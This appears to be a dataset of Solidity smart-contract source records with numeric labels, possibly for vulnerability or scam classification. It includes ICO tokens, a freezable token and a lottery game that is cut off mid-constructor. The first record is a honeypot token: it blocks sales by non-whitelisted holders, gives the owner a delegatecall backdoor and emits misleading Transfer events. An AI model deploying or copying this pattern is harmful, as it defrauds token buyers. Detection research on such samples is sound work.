pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,570
pragma solidity ^0.4.15; contract Owned { address public ownerA; bool public pausedB; function Owned() { ownerA = msg.sender; } modifier IsOwner { require(msg.sender == ownerA); _; } modifier IsActive { require(!pausedB); _; } event LogOwnerChange(address indexed PreviousOwner, address NewOwner); event LogPaused(); event LogResumed(); function ChangeOwner(address vNewOwnerA) IsOwner { require(vNewOwnerA != address(0) && vNewOwnerA != ownerA); LogOwnerChange(ownerA, vNewOwnerA); ownerA = vNewOwnerA; } function Pause() IsOwner { pausedB = true; LogPaused(); } function Resume() IsOwner { pausedB = false; LogResumed(); } } contract DSMath { function add(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x - y) <= x); } function mul(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x * y; assert(x == 0 || z / x == y); } function subMaxZero(uint256 x, uint256 y) constant internal returns (uint256 z) { if (y > x) z = 0; else z = x - y; } } contract ERC20Token is Owned, DSMath { bool public constant isEIP20Token = true; uint public totalSupply; bool public saleInProgressB; mapping(address => uint) internal iTokensOwnedM; mapping(address => mapping (address => uint)) private pAllowedM; event Transfer(address indexed src, address indexed dst, uint wad); event Approval(address indexed Sender, address indexed Spender, uint Wad); function balanceOf(address guy) public constant returns (uint) { return iTokensOwnedM[guy]; } function allowance(address guy, address spender) public constant returns (uint) { return pAllowedM[guy][spender]; } modifier IsTransferOK(address src, address dst, uint wad) { require(!saleInProgressB && !pausedB && iTokensOwnedM[src] >= wad && dst != src && dst != address(this) && dst != ownerA); _; } function transfer(address dst, uint wad) IsTransferOK(msg.sender, dst, wad) returns (bool) { iTokensOwnedM[msg.sender] -= wad; iTokensOwnedM[dst] = add(iTokensOwnedM[dst], wad); Transfer(msg.sender, dst, wad); return true; } function transferFrom(address src, address dst, uint wad) IsTransferOK(src, dst, wad) returns (bool) { require(pAllowedM[src][msg.sender] >= wad); iTokensOwnedM[src] -= wad; pAllowedM[src][msg.sender] -= wad; iTokensOwnedM[dst] = add(iTokensOwnedM[dst], wad); Transfer(src, dst, wad); return true; } function approve(address spender, uint wad) IsActive returns (bool) { pAllowedM[msg.sender][spender] = wad; Approval(msg.sender, spender, wad); return true; } } contract PacioToken is ERC20Token { string public constant name = "Pacio Token"; string public constant symbol = "PIOE"; uint8 public constant decimals = 12; uint public tokensIssued; uint public tokensAvailable; uint public contributors; uint public founderTokensAllocated; uint public founderTokensVested; uint public foundationTokensAllocated; uint public foundationTokensVested; bool public icoCompleteB; address private pFounderToksA; address private pFoundationToksA; event LogIssue(address indexed Dst, uint Picos); event LogSaleCapReached(uint TokensIssued); event LogIcoCompleted(); event LogBurn(address Src, uint Picos); event LogDestroy(uint Picos); function Initialise(address vNewOwnerA) { require(totalSupply == 0); super.ChangeOwner(vNewOwnerA); founderTokensAllocated = 10**20; foundationTokensAllocated = 10**20; totalSupply = 10**21; iTokensOwnedM[ownerA] = 10**21; tokensAvailable = 8*(10**20); Transfer(0x0, ownerA, 10**21); } function Mint(uint picos) IsOwner { totalSupply = add(totalSupply, picos); iTokensOwnedM[ownerA] = add(iTokensOwnedM[ownerA], picos); tokensAvailable = subMaxZero(totalSupply, tokensIssued + founderTokensAllocated + foundationTokensAllocated); Transfer(0x0, ownerA, picos); } function PrepareForSale() IsOwner { require(!icoCompleteB); saleInProgressB = true; } function ChangeOwner(address vNewOwnerA) { transfer(vNewOwnerA, iTokensOwnedM[ownerA]); super.ChangeOwner(vNewOwnerA); } function Issue(address dst, uint picos) IsOwner IsActive returns (bool) { require(saleInProgressB && iTokensOwnedM[ownerA] >= picos && dst != address(this) && dst != ownerA); if (iTokensOwnedM[dst] == 0) contributors++; iTokensOwnedM[ownerA] -= picos; iTokensOwnedM[dst] = add(iTokensOwnedM[dst], picos); tokensIssued = add(tokensIssued, picos); tokensAvailable = subMaxZero(tokensAvailable, picos); LogIssue(dst, picos); return true; } function SaleCapReached() IsOwner IsActive { saleInProgressB = false; LogSaleCapReached(tokensIssued); } function IcoCompleted() IsOwner IsActive { require(!icoCompleteB); saleInProgressB = false; icoCompleteB = true; LogIcoCompleted(); } function SetFFSettings(address vFounderTokensA, address vFoundationTokensA, uint vFounderTokensAllocation, uint vFoundationTokensAllocation) IsOwner { if (vFounderTokensA != address(0)) pFounderToksA = vFounderTokensA; if (vFoundationTokensA != address(0)) pFoundationToksA = vFoundationTokensA; if (vFounderTokensAllocation > 0) assert((founderTokensAllocated = vFounderTokensAllocation) >= founderTokensVested); if (vFoundationTokensAllocation > 0) assert((foundationTokensAllocated = vFoundationTokensAllocation) >= foundationTokensVested); tokensAvailable = totalSupply - founderTokensAllocated - foundationTokensAllocated - tokensIssued; } function VestFFTokens(uint vFounderTokensVesting, uint vFoundationTokensVesting) IsOwner IsActive { require(icoCompleteB); if (vFounderTokensVesting > 0) { assert(pFounderToksA != address(0)); assert((founderTokensVested = add(founderTokensVested, vFounderTokensVesting)) <= founderTokensAllocated); iTokensOwnedM[ownerA] = sub(iTokensOwnedM[ownerA], vFounderTokensVesting); iTokensOwnedM[pFounderToksA] = add(iTokensOwnedM[pFounderToksA], vFounderTokensVesting); LogIssue(pFounderToksA, vFounderTokensVesting); tokensIssued = add(tokensIssued, vFounderTokensVesting); } if (vFoundationTokensVesting > 0) { assert(pFoundationToksA != address(0)); assert((foundationTokensVested = add(foundationTokensVested, vFoundationTokensVesting)) <= foundationTokensAllocated); iTokensOwnedM[ownerA] = sub(iTokensOwnedM[ownerA], vFoundationTokensVesting); iTokensOwnedM[pFoundationToksA] = add(iTokensOwnedM[pFoundationToksA], vFoundationTokensVesting); LogIssue(pFoundationToksA, vFoundationTokensVesting); tokensIssued = add(tokensIssued, vFoundationTokensVesting); } } function Burn(address src, uint picos) IsOwner IsActive { require(icoCompleteB); iTokensOwnedM[src] = subMaxZero(iTokensOwnedM[src], picos); tokensIssued = subMaxZero(tokensIssued, picos); totalSupply = subMaxZero(totalSupply, picos); LogBurn(src, picos); } function Destroy(uint picos) IsOwner IsActive { require(icoCompleteB); totalSupply = subMaxZero(totalSupply, picos); tokensAvailable = subMaxZero(tokensAvailable, picos); LogDestroy(picos); } function() { revert(); } } contract PacioICO is Owned, DSMath { string public name; uint public startTime; uint public picosCap; uint public picosSold; uint public picosPerEther; uint public weiRaised; PacioToken public PIOE; address private pPCwalletA; function PacioICO() { pausedB = true; } event LogPrepareToStart(string Name, uint StartTime, uint PicosCap, PacioToken TokenContract, address PCwallet); event LogSetPicosPerEther(uint PicosPerEther); event LogChangePCWallet(address PCwallet); event LogSale(address indexed Purchaser, uint SaleWei, uint Picos); event LogAllocate(address indexed Supplier, uint SuppliedWei, uint Picos); event LogSaleCapReached(uint WeiRaised, uint PicosSold); function PrepareToStart(string vNameS, uint vStartTime, uint vPicosCap, uint vPicosPerEther, PacioToken vTokenA, address vPCwalletA) IsOwner { require(vTokenA != address(0) && vPCwalletA != address(0)); name = vNameS; startTime = vStartTime; picosCap = vPicosCap; PIOE = vTokenA; pPCwalletA = vPCwalletA; pausedB = false; PIOE.PrepareForSale(); LogPrepareToStart(vNameS, vStartTime, vPicosCap, vTokenA, vPCwalletA); SetPicosPerEther(vPicosPerEther); } function Buy() payable IsActive { require(now >= startTime); require(msg.value >= 0.1 ether); uint picos = mul(picosPerEther, msg.value) / 10**18; weiRaised = add(weiRaised, msg.value); pPCwalletA.transfer(this.balance); PIOE.Issue(msg.sender, picos); LogSale(msg.sender, msg.value, picos); picosSold += picos; if (picosSold >= picosCap) { pausedB = true; PIOE.SaleCapReached(); LogSaleCapReached(weiRaised, picosSold); } } function SetPicosPerEther(uint vPicosPerEther) IsOwner { picosPerEther = vPicosPerEther; LogSetPicosPerEther(picosPerEther); } function ChangePCWallet(address vPCwalletA) IsOwner { require(vPCwalletA != address(0)); pPCwalletA = vPCwalletA; LogChangePCWallet(vPCwalletA); } function Allocate(address vSupplierA, uint wad, uint picos) IsOwner IsActive { PIOE.Issue(vSupplierA, picos); LogAllocate(vSupplierA, wad, picos); picosSold += picos; } function ChangeTokenContractOwner(address vNewOwnerA) IsOwner { require(pausedB); PIOE.ChangeOwner(vNewOwnerA); } function PauseTokenContract() IsOwner { PIOE.Pause(); } function ResumeTokenContract() IsOwner { PIOE.Resume(); } function Mint(uint picos) IsOwner { require(pausedB); PIOE.Mint(picos); } function IcoCompleted() IsOwner { require(pausedB); PIOE.IcoCompleted(); } function SetFFSettings(address vFounderTokensA, address vFoundationTokensA, uint vFounderTokensAllocation, uint vFoundationTokensAllocation) IsOwner { PIOE.SetFFSettings(vFounderTokensA, vFoundationTokensA, vFounderTokensAllocation, vFoundationTokensAllocation); } function VestFFTokens(uint vFounderTokensVesting, uint vFoundationTokensVesting) IsOwner { PIOE.VestFFTokens(vFounderTokensVesting, vFoundationTokensVesting); } function Burn(address src, uint picos) IsOwner { PIOE.Burn(src, picos); } function Destroy(uint picos) IsOwner { PIOE.Destroy(picos); } function() { revert(); } }
1
2,773
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "PowerChain"; string public constant TOKEN_SYMBOL = "PCX"; bool public constant PAUSED = true; address public constant TARGET_USER = 0x66a6983703928bA3523E9F3850750B847ffbFA03; uint public constant START_TIME = 1537563660; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } }
1
2,731
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "the SafeMath multiplication check failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "the SafeMath division check failed"); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "the SafeMath subtraction check failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "the SafeMath addition check failed"); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "the SafeMath modulo check failed"); return a % b; } } contract OneHundredthMonkey { using SafeMath for uint256; uint256 public adminBalance; uint256 public foundationBalance; address public adminBank; address public foundationFund; address[] public admins; mapping (address => bool) public isAdmin; bool public gameActive = false; bool public earlyResolveACalled = false; bool public earlyResolveBCalled = false; uint256 public activationTime = 1541869200; uint256 public miniGamesPerRound = 100; uint256 public miniGamesPerCycle = 1000; uint256 public miniGamePotRate = 25; uint256 public progressivePotRate = 25; uint256 public roundDivRate = 20; uint256 public miniGameDivRate = 10; uint256 public referralRate = 10; uint256 public miniGameAirdropRate = 5; uint256 public adminFeeRate = 5; uint256 public roundPotRate = 48; uint256 internal precisionFactor = 18; uint256 public seedAreward = 25000000000000000; uint256 public seedBreward = 25000000000000000; mapping (uint256 => bool) public miniGameSeedAawarded; mapping (uint256 => bool) public miniGameSeedBawarded; uint256 internal RNGblockDelay = 1; uint256 internal salt = 0; bytes32 internal hashA; bytes32 internal hashB; bool public miniGameProcessing; uint256 public miniGameCount; uint256 public miniGameProcessingBegun; mapping (uint256 => bool) public miniGamePrizeClaimed; mapping (uint256 => bool) public miniGameAirdropClaimed; mapping (uint256 => uint256) public miniGameStartTime; mapping (uint256 => uint256) public miniGameEndTime; mapping (uint256 => uint256) public miniGameTokens; mapping (uint256 => uint256) public miniGameTokensLeft; mapping (uint256 => uint256) public miniGameTokensActive; mapping (uint256 => uint256) public miniGameTokenRangeMin; mapping (uint256 => uint256) public miniGameTokenRangeMax; mapping (uint256 => uint256) public miniGamePrizeNumber; mapping (uint256 => uint256) public miniGameAirdropNumber; mapping (uint256 => uint256) public miniGamePrizePot; mapping (uint256 => uint256) public miniGameAirdropPot; mapping (uint256 => uint256) public miniGameDivs; mapping (uint256 => uint256) public miniGameDivsClaimed; mapping (uint256 => address) public miniGamePrizeWinner; mapping (uint256 => address) public miniGameAirdropWinner; uint256 public roundCount; mapping (uint256 => bool) public roundPrizeClaimed; mapping (uint256 => bool) public roundPrizeTokenRangeIdentified; mapping (uint256 => uint256) public roundStartTime; mapping (uint256 => uint256) public roundEndTime; mapping (uint256 => uint256) public roundTokens; mapping (uint256 => uint256) public roundTokensActive; mapping (uint256 => uint256) public roundTokenRangeMin; mapping (uint256 => uint256) public roundTokenRangeMax; mapping (uint256 => uint256) public roundPrizeNumber; mapping (uint256 => uint256) public roundPrizePot; mapping (uint256 => uint256) public roundDivs; mapping (uint256 => uint256) public roundDivsClaimed; mapping (uint256 => uint256) public roundPrizeInMinigame; mapping (uint256 => address) public roundPrizeWinner; bool public cycleOver = false; bool public cylcePrizeClaimed; bool public cyclePrizeTokenRangeIdentified; uint256 public totalVolume; uint256 public totalBuys; uint256 public tokenSupply; uint256 public cycleActiveTokens; uint256 public cycleCount; uint256 public cycleEnded; uint256 public cycleProgressivePot; uint256 public cyclePrizeWinningNumber; uint256 public cyclePrizeInMinigame; uint256 public cyclePrizeInRound; uint256 public cycleStartTime; address public cyclePrizeWinner; uint256 public tokenPrice = 0.001 ether; uint256 public tokenPriceIncrement = 0.0005 ether; uint256 public minTokensPerMiniGame = 10000; address[] public uniqueAddress; mapping (address => bool) public knownUsers; mapping (address => uint256) public userTokens; mapping (address => uint256) public userBalance; mapping (address => mapping (uint256 => uint256)) public userMiniGameTokens; mapping (address => mapping (uint256 => uint256)) public userRoundTokens; mapping (address => mapping (uint256 => uint256[])) public userMiniGameTokensMin; mapping (address => mapping (uint256 => uint256[])) public userMiniGameTokensMax; mapping (address => bool) internal userCycleChecked; mapping (address => uint256) internal userLastMiniGameInteractedWith; mapping (address => uint256) internal userLastRoundInteractedWith; mapping (address => uint256) internal userLastMiniGameChecked; mapping (address => uint256) internal userLastRoundChecked; mapping (address => mapping (uint256 => uint256)) internal userShareMiniGame; mapping (address => mapping (uint256 => uint256)) internal userDivsMiniGameTotal; mapping (address => mapping (uint256 => uint256)) internal userDivsMiniGameClaimed; mapping (address => mapping (uint256 => uint256)) internal userDivsMiniGameUnclaimed; mapping (address => mapping (uint256 => uint256)) internal userShareRound; mapping (address => mapping (uint256 => uint256)) internal userDivsRoundTotal; mapping (address => mapping (uint256 => uint256)) internal userDivsRoundClaimed; mapping (address => mapping (uint256 => uint256)) internal userDivsRoundUnclaimed; constructor(address _adminBank, address _foundationFund, address _adminTwo, address _adminThree, address _adminFour) public { adminBank = _adminBank; foundationFund = _foundationFund; admins.push(msg.sender); isAdmin[msg.sender] = true; admins.push(_adminTwo); 